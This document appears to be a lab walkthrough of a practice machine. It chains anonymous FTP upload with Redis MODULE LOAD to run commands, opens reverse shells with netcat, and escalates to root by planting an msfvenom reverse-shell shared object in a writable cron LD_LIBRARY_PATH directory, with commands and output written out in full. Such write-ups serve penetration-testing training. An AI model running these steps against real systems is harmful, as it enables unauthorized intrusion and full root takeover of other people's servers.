In this walkthrough, we’ll gain remote code execution via a combination of the Redis MODULE LOAD command (which allows us to dynamically load a Redis module from a local path) and an anonymous FTP service, which allows us to upload the malicious module. We’ll then exploit a root-run cron job via a combination of a malicious shared object file and a writable directory in the cron LD_LIBRARY_PATH. Enumeration Nmap
We’ll begin with an nmap scan.
kali@kali:~$ sudo nmap -p- -sC -sV 192.168.120.217
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-21 21:58 EDT
Nmap scan report for 192.168.120.217
Host is up (0.00038s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.2
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx 2 0 0 6 Apr 01 04:55 pub [NSE: writeable]
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.120.217
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.2 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 03:7d:0f:d6:77:1f:09:74:dd:c4:32:3f:7a:f4:a2:4f (RSA)
| 256 1e:d3:b8:e9:f0:f8:6b:61:94:e8:aa:25:ec:aa:fe:bb (ECDSA)
|_ 256 61:14:59:6d:d7:84:b6:2f:dc:2c:8e:55:f2:dc:62:55 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/7.3.22)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-generator: HTMLy v2.7.5
| http-robots.txt: 11 disallowed entries
| /config/ /system/ /themes/ /vendor/ /cache/
| /changelog.txt /composer.json /composer.lock /composer.phar /search/
|_/admin/
|_http-server-header: Apache/2.4.6 (CentOS) PHP/7.3.22
|_http-title: Sybaris - Just another HTMLy blog
6379/tcp open redis Redis key-value store 5.0.9
MAC Address: 00:0C:29:CE:37:CC (VMware)
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.70 seconds
FTP
Next, we’ll connect to the FTP service to verify anonymous access.
kali@kali:~$ ftp 192.168.120.217
Connected to 192.168.120.217.
220 (vsFTPd 3.0.2)
Name (192.168.120.217:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> passive
Passive mode on.
ftp> ls
227 Entering Passive Mode (192,168,120,217,39,107).
150 Here comes the directory listing.
drwxrwxrwx 2 0 0 6 Apr 01 04:55 pub
226 Directory send OK.
ftp> cd pub
250 Directory successfully changed.
ftp> ls
227 Entering Passive Mode (192,168,120,217,39,107).
150 Here comes the directory listing.
226 Directory send OK.
ftp>
Although anonymous login is enabled, we don’t find anything interesting. However, the FTP service appears to be running vsFTPd, which will be important later.
Redis
Since Redis is a cleartext protocol, we can connect with telnet and issue our commands. First, let’s search for keys in memory with the DBSIZE command.
telnet 192.168.120.217 6379
Trying 192.168.120.217...
Connected to 192.168.120.217.
Escape character is '^]'.
DBSIZE
:0
Unfortunately, the output indicates that the Redis database is empty. Exploitation
Redis MODULE LOAD
Since we appear to have anonymous access to both Redis and anonymous FTP, we’ll attempt to combine these two vulnerabilities to obtain remote code execution via the Redis MODULE LOAD command which allows us to dynamically load a Redis module from a local path.
First, we’ll create our module. We’ll use the ExecuteCommand module from n0b0dyCN.
kali@kali:~$ git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
Cloning into 'RedisModules-ExecuteCommand'...
remote: Enumerating objects: 494, done.
remote: Total 494 (delta 0), reused 0 (delta 0), pack-reused 494
Receiving objects: 100% (494/494), 207.20 KiB | 349.00 KiB/s, done.
Resolving deltas: 100% (286/286), done.
kali@kali:~$ cd RedisModules-ExecuteCommand
kali@kali:~/RedisModules-ExecuteCommand$ make
make -C ./src
make[1]: Entering directory '/home/kali/RedisModules-ExecuteCommand/src'
make -C ../rmutil
make[2]: Entering directory '/home/kali/RedisModules-ExecuteCommand/rmutil'
ld -o module.so module.o -shared -Bsymbolic -L../rmutil -lrmutil -lc
make[1]: Leaving directory '/home/kali/RedisModules-ExecuteCommand/src'
cp ./src/module.so .
Next, we’ll upload our compiled module to the /pub directory.
kali@kali:~/RedisModules-ExecuteCommand$ ftp 192.168.120.217
Connected to 192.168.120.217.
220 (vsFTPd 3.0.2)
Name (192.168.120.217:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> passive
Passive mode on.
ftp> cd pub
250 Directory successfully changed.
ftp> put module.so
local: module.so remote: module.so
227 Entering Passive Mode (192,168,120,217,39,107).
150 Ok to send data.
226 Transfer complete.
48560 bytes sent in 0.48 secs (98.7207 kB/s)
ftp> bye
221 Goodbye.
Finally, we must load our module into Redis, which will require some educated guesswork. Since we know the FTP service is running vsFTPd we can assume that it is using the default directory location (/var/ftp/) which means our module would have landed in /var/ftp/pub/module.so.
kali@kali:~$ telnet 192.168.120.217 6379
Trying 192.168.120.217...
Connected to 192.168.120.217.
Escape character is '^]'.
MODULE LOAD /var/ftp/pub/module.so
+OK
Now that we’ve loaded our module, we can execute commands.
system.exec "id"
$51
uid=1000(pablo) gid=1000(pablo) groups=1000(pablo)
Next, we’ll start a Netcat handler to catch our reverse shell.
kali@kali:~$ nc -lvp 6379
listening on [any] 6379 ...
The ExecuteCommand module already includes a reverse shell command, so we’ll use that to launch our shell.
system.rev 127.0.0.1 6379
Finally, we’ll catch our reverse shell as pablo.
kali@kali:~$ nc -lvp 6379
listening on [any] 6379 ...
192.168.120.217: inverse host lookup failed: Unknown host
connect to [kali] from (UNKNOWN) [192.168.120.217] 48414
id
uid=1000(pablo) gid=1000(pablo) groups=1000(pablo)
Escalation
Enumerate Cron Jobs
As we search for escalation options, we discover that /etc/crontab contains a root-run entry that runs every minute.
cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
LD_LIBRARY_PATH=/usr/lib:/usr/lib64:/usr/local/lib/dev:/usr/local/lib/utils
MAILTO=""
# For details see man 4 crontabs
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
* * * * * root /usr/bin/log-sweeper
We also note that this crontab file includes a custom LD_LIBRARY_PATH variable which adds /usr/local/lib/utils and /usr/local/lib/dev to the list of locations to search for library files. If we check these paths, we find that we only have write access to /usr/local/lib/dev, which is perfect for our use since it appears first in the path.
ls -lah /usr/local/lib/dev
total 0
drwxrwxrwx 2 root root 6 Sep 7 01:50 .
drwxr-xr-x. 4 root root 30 Sep 7 01:50 ..
ls -lah /usr/local/lib/utils
total 4.0K
drwxr-xr-x. 2 root root 22 Sep 7 01:46 .
drwxr-xr-x. 4 root root 30 Sep 7 01:50 ..
-rwxr-xr-x. 1 root root 476 Sep 7 01:47 utils.so
The list of shared objects loaded by /usr/bin/log-sweeper includes the utils.so shared object which may be a good candidate for hijacking.
ldd /usr/bin/log-sweeper
linux-vdso.so.1 => (0x00007ffd61a5c000)
utils.so => not found
libc.so.6 => /lib64/libc.so.6 (0x00007f717136a000)
/lib64/ld-linux-x86-64.so.2 (0x00007f7171738000)
Exploit Cron Job
To exploit our log-sweeper cron job, all we need to do is generate a malicious shared object file named utils.so and place it in the /usr/local/lib/dev directory. First, we’ll generate our malicious shared object file.
kali@kali:~$ msfvenom -p linux/x64/shell_reverse_tcp -f elf-so -o utils.so LHOST=kali LPORT=6379
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf-so file: 476 bytes
Saved as: utils.so
Next, we’ll start a Netcat handler to catch our reverse shell.
kali@kali:~$ nc -lvp 6379
listening on [any] 6379 ...
We’ll upload our shared object to the anonymous FTP service.
kali@kali:~$ ftp 192.168.120.217
Connected to 192.168.120.217.
220 (vsFTPd 3.0.2)
Name (192.168.120.217:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> passive
Passive mode on.
ftp> cd pub
250 Directory successfully changed.
ftp> put utils.so
local: utils.so remote: utils.so
227 Entering Passive Mode (192,168,120,217,39,107).
150 Ok to send data.
226 Transfer complete.
476 bytes sent in 0.00 secs (6.6757 MB/s)
ftp> bye
221 Goodbye.
Next, we’ll move our payload into the /usr/local/lib/dev directory.
cp /var/ftp/pub/utils.so /usr/local/lib/dev/utils.so
Finally, we’ll wait for the cron job to execute, load our payload send us our reverse root shell.
kali@kali:~$ nc -lvp 6379
listening on [any] 6379 ...
192.168.120.217: inverse host lookup failed: Unknown host
connect to [kali] from (UNKNOWN) [192.168.120.217] 48416
id
uid=0(root) gid=0(root) groups=0(root)